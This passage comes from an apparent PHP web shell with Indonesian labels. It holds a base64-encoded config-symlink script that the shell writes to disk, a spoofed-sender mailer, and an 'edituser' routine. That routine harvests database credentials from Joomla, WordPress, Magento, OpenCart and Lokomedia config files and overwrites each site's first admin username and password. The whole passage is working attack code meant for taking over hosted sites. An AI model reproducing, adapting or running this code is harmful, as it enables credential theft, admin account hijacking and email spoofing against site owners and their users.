lLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9qb28vY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb28udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYS1tYWluLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtaG9tZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmJ+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIzfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIxfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9mb3J1bS9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsJHNpdGVzcy4nLXZibHV0dGlufmNsYXNzX2NvcmUucGhwLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ZiL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAxLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5waHAyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0td2htY3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1zdWN1cmUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWNwYW5lbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VibWl0dGlja2V0LnBocCcsJHNpdGVzcy4nLXdobWNzMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9teS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS1teS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLW15c2hvcC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXplbmNhcnQudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictc2hvcC1aQ3Nob3AudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc21mL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW1zL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdXAudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJ0aWNsZS9jb25maWcucGhwJywkc2l0ZXNzLictTndhaHkudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy11cDIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZl9nbG9iYWwucGhwJywkc2l0ZXNzLictNi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9pbmNsdWRlL2RiLnBocCcsJHNpdGVzcy4nLTcudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29ubmVjdC5waHAnLCRzaXRlc3MuJy1QSFAtRnVzaW9uLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL21rX2NvbmYucGhwJywkc2l0ZXNzLictOS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJHNpdGVzcy4nLURydXBhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy0xbWVtYmVyLnR4dCcpIDsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3JlcXVpcmVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1iaWxsaW5ncy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RiaWxsaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sJywkc2l0ZXNzLictTWFnZW50by50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictT3BlbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCRzaXRlc3MuJy1QcmVzdGFzaG9wLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NvbmZpZy9rb25la3NpLnBocCcsJHNpdGVzcy4nLUxva29tZWRpYS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkc2l0ZXNzLictTG9rb21lZGlhLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NsY29uZmlnLnBocCcsJHNpdGVzcy4nLVNpdGVsb2NrLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCRzaXRlc3MuJy1FbGxpc2xhYi50eHQnKTsNCn0NCnByaW50ICI8YnI+PGJyPjxicj48Zm9udCBjb2xvcj1yZWQ+RG9uZSAhISA8aW1nIHNyYz0naHR0cDovL2kuaW1ndXIuY29tL0x0dWtFSk4ucG5nJyAgaGVpZ2h0PSc3MCcgd2lkdGg9JzYwJz48L2ZvbnQ+IjsNCg==';
  1190. $file = fopen("vhost.cin" ,"w+");
  1191. $write = fwrite ($file ,base64_decode($xaivhost));
  1192. fclose($file);
  1193.     chmod("vhost.cin",0755);
  1194.    echo "<a href='noname_vhost'>Klik Ini</a>";
  1195. }
  1196. ?>
  1197. </body>
  1198. </html>
  1199. <?php
  1200. }
  1201. elseif($_GET['kntd'] == 'mail') {
  1202. if($_POST['send']) {
  1203.   $to = $_POST['to'];
  1204.   $from = $_POST['from'];
  1205.   $subject = $_POST['subject'];
  1206.   $content = sulap($_POST['content']);
  1207.   if(@mail($to,$subject,$content,"FROM:$from")) {
  1208.     $out = "Mail sent to $to";
  1209.   } else {
  1210.     $out = "Failed !!";
  1211.   }
  1212. }
  1213.   echo "<h1>Mailer</h1>
  1214. <form method='post'>
  1215. <textarea name='content' value='Patch your security !' placeholder='Patch your security !'></textarea><br>
  1216. Subject :
  1217. <input type='text' name='subject' value='Your Website'><br>
  1218. To : <input type='text' name='to' value='admin@web.com'><br>From : <input type='text' name='from' value='malaikat Galau@jembud.com'><br><input type='submit' name='send' value='Send'><br><br>";
  1219. echo $out;
  1220. }elseif($_GET['kntd'] == 'edituser') {
  1221.     if($_POST['hajar']) {
  1222.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1223.             echo "username atau password harus lebih dari 6 karakter";
  1224.         } else {
  1225.             $user_baru = $_POST['user_baru'];
  1226.             $pass_baru = md5($_POST['pass_baru']);
  1227.             $conf = $_POST['config_dir'];
  1228.             $scan_conf = scandir($conf);
  1229.             foreach($scan_conf as $file_conf) {
  1230.                 if(!is_file("$conf/$file_conf")) continue;
  1231.                 $config = file_get_contents("$conf/$file_conf");
  1232.                 if(preg_match("/JConfig|joomla/",$config)) {
  1233.                     $dbhost = ambilkata($config,"host = '","'");
  1234.                     $dbuser = ambilkata($config,"user = '","'");
  1235.                     $dbpass = ambilkata($config,"password = '","'");
  1236.                     $dbname = ambilkata($config,"db = '","'");
  1237.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  1238.                     $prefix = $dbprefix."users";
  1239.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1240.                     $db = mysql_select_db($dbname);
  1241.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1242.                     $result = mysql_fetch_array($q);
  1243.                     $id = $result['id'];
  1244.                     $site = ambilkata($config,"sitename = '","'");
  1245.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  1246.                     echo "Config => ".$file_conf."<br>";
  1247.                     echo "CMS => Joomla<br>";
  1248.                     if($site == '') {
  1249.                         echo "Sitename => <font color=lime>error, gabisa ambil nama domain nya</font><br>";
  1250.                     } else {
  1251.                         echo "Sitename => $site<br>";
  1252.                     }
  1253.                     if(!$update OR !$conn OR !$db) {
  1254.                         echo "Status => <font color=lime>".mysql_error()."</font><br><br>";
  1255.                     } else {
  1256.                         echo "Status => <font color=green>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1257.                     }
  1258.                     mysql_close($conn);
  1259.                 } elseif(preg_match("/WordPress/",$config)) {
  1260.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  1261.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  1262.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1263.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  1264.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1265.                     $prefix = $dbprefix."users";
  1266.                     $option = $dbprefix."options";
  1267.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1268.                     $db = mysql_select_db($dbname);
  1269.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1270.                     $result = mysql_fetch_array($q);
  1271.                     $id = $result[ID];
  1272.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1273.                     $result2 = mysql_fetch_array($q2);
  1274.                     $target = $result2[option_value];
  1275.                     if($target == '') {
  1276.                         $url_target = "Login => <font color=lime>error, gabisa ambil nama domain nyaa</font><br>";
  1277.                     } else {
  1278.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1279.                     }
  1280.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1281.                     echo "Config => ".$file_conf."<br>";
  1282.                     echo "CMS => Wordpress<br>";
  1283.                     echo $url_target;
  1284.                     if(!$update OR !$conn OR !$db) {
  1285.                         echo "Status => <font color=lime>".mysql_error()."</font><br><br>";
  1286.                     } else {
  1287.                         echo "Status => <font color=green>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1288.                     }
  1289.                     mysql_close($conn);
  1290.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1291.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1292.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1293.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1294.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1295.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1296.                     $prefix = $dbprefix."admin_user";
  1297.                     $option = $dbprefix."core_config_data";
  1298.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1299.                     $db = mysql_select_db($dbname);
  1300.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1301.                     $result = mysql_fetch_array($q);
  1302.                     $id = $result[user_id];
  1303.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1304.                     $result2 = mysql_fetch_array($q2);
  1305.                     $target = $result2[value];
  1306.                     if($target == '') {
  1307.                         $url_target = "Login => <font color=lime>error, gabisa ambil nama domain nyaa</font><br>";
  1308.                     } else {
  1309.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1310.                     }
  1311.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1312.                     echo "Config => ".$file_conf."<br>";
  1313.                     echo "CMS => Magento<br>";
  1314.                     echo $url_target;
  1315.                     if(!$update OR !$conn OR !$db) {
  1316.                         echo "Status => <font color=lime>".mysql_error()."</font><br><br>";
  1317.                     } else {
  1318.                         echo "Status => <font color=green>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1319.                     }
  1320.                     mysql_close($conn);
  1321.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1322.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1323.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1324.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1325.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1326.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1327.                     $prefix = $dbprefix."user";
  1328.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1329.                     $db = mysql_select_db($dbname);
  1330.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1331.                     $result = mysql_fetch_array($q);
  1332.                     $id = $result[user_id];
  1333.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  1334.                     if($target == '') {
  1335.                         $url_target = "Login => <font color=lime>error, gabisa ambil nama domain nyaa</font><br>";
  1336.                     } else {
  1337.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1338.                     }
  1339.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1340.                     echo "Config => ".$file_conf."<br>";
  1341.                     echo "CMS => OpenCart<br>";
  1342.                     echo $url_target;
  1343.                     if(!$update OR !$conn OR !$db) {
  1344.                         echo "Status => <font color=lime>".mysql_error()."</font><br><br>";
  1345.                     } else {
  1346.                         echo "Status => <font color=green>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1347.                     }
  1348.                     mysql_close($conn);
  1349.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1350.                     $dbhost = ambilkata($config,'server = "','"');
  1351.                     $dbuser = ambilkata($config,'username = "','"');
  1352.                     $dbpass = ambilkata($config,'password = "','"');
  1353.                     $dbname = ambilkata($config,'database = "','"');
  1354.                     $prefix = "users";
  1355.                     $option = "identitas";
  1356.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1357.                     $db = mysql_select_db($dbname);
  1358.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1359.                     $result = mysql_fetch_array($q);
  1360.                     $target = $result[alamat_website];
